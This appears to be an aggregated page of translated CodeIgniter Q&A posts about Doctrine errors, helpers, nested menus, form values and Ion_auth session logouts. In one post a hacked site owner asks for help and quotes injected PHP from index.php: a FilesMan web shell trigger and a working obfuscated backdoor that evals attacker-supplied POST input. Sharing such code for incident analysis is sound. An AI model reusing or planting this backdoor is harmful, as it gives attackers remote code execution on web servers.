更新:
我已经放弃了CodeIgniter,并希望从PHP构建一个围绕我的数据库应用程序的Web界面,因为没有办法摆脱这个bug ...
我得到这个例外:
Fatal error: require_once(): Cannot redeclare class doctrine\orm\abstractquery in Q:\Digest\lib\Symfony\Component\HttpFoundation\UniversalClassLoader.php on line 190
Call Stack:
0.0007 330016 1. {main}() Q:\Digest\index.php:0
0.0058 330800 2. require_once('Q:\Digest\lib\CodeIgniter\core\CodeIgniter.php') Q:\Digest\index.php:163
0.2207 935856 3. call_user_func_array() Q:\Digest\lib\CodeIgniter\core\CodeIgniter.php:297
0.2207 935904 4. Crud->index() Q:\Digest\lib\CodeIgniter\core\CodeIgniter.php:0
0.2574 1065064 5. Crud->__getEntities() Q:\Digest\Application\controllers\crud.php:19
0.2649 1121824 6. Doctrine\ORM\AbstractQuery->getResult() Q:\Digest\Application\controllers\crud.php:49
0.2649 1121976 7. Doctrine\ORM\AbstractQuery->execute() Q:\Digest\lib\Doctrine\ORM\AbstractQuery.php:366
0.2651 1121976 8. Doctrine\ORM\Query->_doExecute() Q:\Digest\lib\Doctrine\ORM\AbstractQuery.php:528
0.2651 1121976 9. Doctrine\ORM\Query->_parse() Q:\Digest\lib\Doctrine\ORM\Query.php:223
0.2848 1185896 10. Doctrine\ORM\Query\Parser->parse() Q:\Digest\lib\Doctrine\ORM\Query.php:203
0.3089 1238704 11. Doctrine\ORM\Query\SqlWalker->getExecutor() Q:\Digest\lib\Doctrine\ORM\Query\Parser.php:311
0.3090 1239104 12. Symfony\Component\HttpFoundation\UniversalClassLoader->loadClass() Q:\Digest\lib\Symfony\Component\HttpFoundation\UniversalClassLoader.php:0 …Run Code Online (Sandbox Code Playgroud) 我有一个codeigniter 2.0.2项目,一直被黑客入侵.有两个主要问题:
index.php文件的开头根据主机,没有FTP日志表明这些文件已上传.
由于没有与恶意文件相关的FTP上传日志 - 这是否意味着它必须是通过网站本身的利用,例如联系或上传表单?
该网站是在共享主机上 - 代码它是同一台服务器上的网站也被黑客攻击,这是导致问题的原因?
如果我将index.php的文件名更改为其他内容会有帮助吗?
由于index.php是越来越修改我应该执行命令chmod 644?
我一直在寻找codeigniter项目的建议权限,但尚未获得任何来源.除了上传/日志目录(777)之外,我在网站上想到644 - 这听起来不错吗?
注入index.php文件顶部的代码:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
然后是一个带有长编码字符串的长preg_replace语句.接下来是第二个声明:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
有一个联系表单和一个表单,用户可以使用CKFinder 2.0.1上传项目.要更新它,看看是否能解决它.
看起来_compile_select已弃用,get_compiled_select不会添加到2.1.0.还有其他类似的功能吗?而且我很好奇.是否有任何特殊原因不添加get_compiled_select()到Active Record并删除_compile_select?
我刚开始学习Code Igniter.
我想知道如何将变量从一个控制器(first_cont.php)传递给其他控制器(second_cont.php)?
任何帮助,将不胜感激 .
提前致谢 :)
他们的官方网站表示他们愿意出售这个框架,只是想知道CI的未来是什么,或者我应该简单地切换框架?
我有点困惑,在代码点火器中使用库和助手的方法.我还在学习代码点火器.
CONTROLLER
function index(){
$this->load->helper('text');
$this->load->library('auth'); //custom library
$data['string'] = 'this is sample ..... this is sample';
$this->load->view('article', $data);
}
Run Code Online (Sandbox Code Playgroud)
视图
<?php
if(is_logged_in()){ //is_logged_in() is the method from the library, 'auth'
echo 'You are logged in';
}
<p><?php echo word_limiter($string, 10); ?></p> <!--word_limiter() is the method from the helper, 'text' -->
Run Code Online (Sandbox Code Playgroud)
在上面的视图文件中,帮助方法word_limiter()工作正常.但该方法is_logged_in()不起作用.但如果我这样做($this->auth->is_logged_in()),它会起作用.
但是为什么来自helper的方法word_limiter()不必像这样写($this->text->word_limiter()).
调用helper和library的方法有什么区别吗?
编辑:经过很好的回答@ vadim-ashikhman.问题的结尾.
我正在使用的资源:
我设法添加类别和子类别没有任何问题.

我还能够使用可嵌套的jQuery库显示所有类别的菜单.
到现在为止还挺好.

现在,当我尝试通过拖放进行排序时.捕获整个数组,这是一个例子:
[{
"id": 1,
"children": [{
"id": 2,
"children": [{
"id": 3
}, {
"id": 6
}, {
"id": 5
}, {
"id": 7
}, {
"id": 9
}]
}, {
"id": 8,
"children": [{
"id": 10,
"children": [{
"id": 11
}, {
"id": 12
}, {
"id": 13
}, {
"id": 14
}, {
"id": 15
}]
}, {
"id": 16,
"children": [{
"id": …Run Code Online (Sandbox Code Playgroud)假设我的表单中有两个字段viz first_name和last_name
我只为first_name设置了验证规则.
无论规则如何,set_value都适用于这两个字段?对 ?
对我来说它只适用于有规则的领域!
我正在使用CodeIgniter 2.1.0创建的网站.
我有时会注意到,当我重新加载页面几次或者非常快地打开几页时,或者当我在代码中出错时(这些错误与会话无关)我会被注销.
本网站使用名为Ion_authand的库进行识别:
public function logged_in()
{
$identity = $this->ci->config->item('identity', 'ion_auth');
return (bool) $this->ci->session->userdata($identity);
}
Run Code Online (Sandbox Code Playgroud)
是否有我应该知道的错误或其他内容?
$config['sess_cookie_name'] = 'cisession';
$config['sess_expiration'] = 7200;
$config['sess_expire_on_close'] = TRUE;
$config['sess_encrypt_cookie'] = FALSE;
$config['sess_use_database'] = TRUE;
$config['sess_table_name'] = 'cisession';
$config['sess_match_ip'] = FALSE;
$config['sess_match_useragent'] = TRUE;
$config['sess_time_to_update'] = 300;
Run Code Online (Sandbox Code Playgroud)
在这个网站上,会话几乎每页都会更新.
我正在使用ionAuth,它似乎几乎随机地将我退出?我正在使用Codeigniter v2.1.4 - 它记录完全正常但是ionAuth似乎以随机间隔注销,有没有办法强制会话保持活动状态,直到我调用ionAuth-> logout函数?
我的CI配置如下所示:
$config['sess_cookie_name'] = 'cisession';
$config['sess_expiration'] = 7200;
$config['sess_expire_on_close'] = FALSE;
$config['sess_encrypt_cookie'] = FALSE;
$config['sess_use_database'] = TRUE;
$config['sess_table_name'] = 'ci_sessions';
$config['sess_match_ip'] = FALSE;
$config['sess_match_useragent'] = TRUE;
$config['sess_time_to_update'] = 600;
Run Code Online (Sandbox Code Playgroud)
我的ion_auth配置文件如下所示:
$config['user_expire'] = 0;
$config['user_extend_on_login'] = FALSE;
Run Code Online (Sandbox Code Playgroud)
任何人都可以给我任何关于可能导致问题的指示吗?
codeigniter-2 ×10
codeigniter ×7
php ×7
activerecord ×1
doctrine-orm ×1
fatal-error ×1
frameworks ×1
ion-auth ×1
jquery ×1
nested ×1
security ×1
session ×1
symfony1 ×1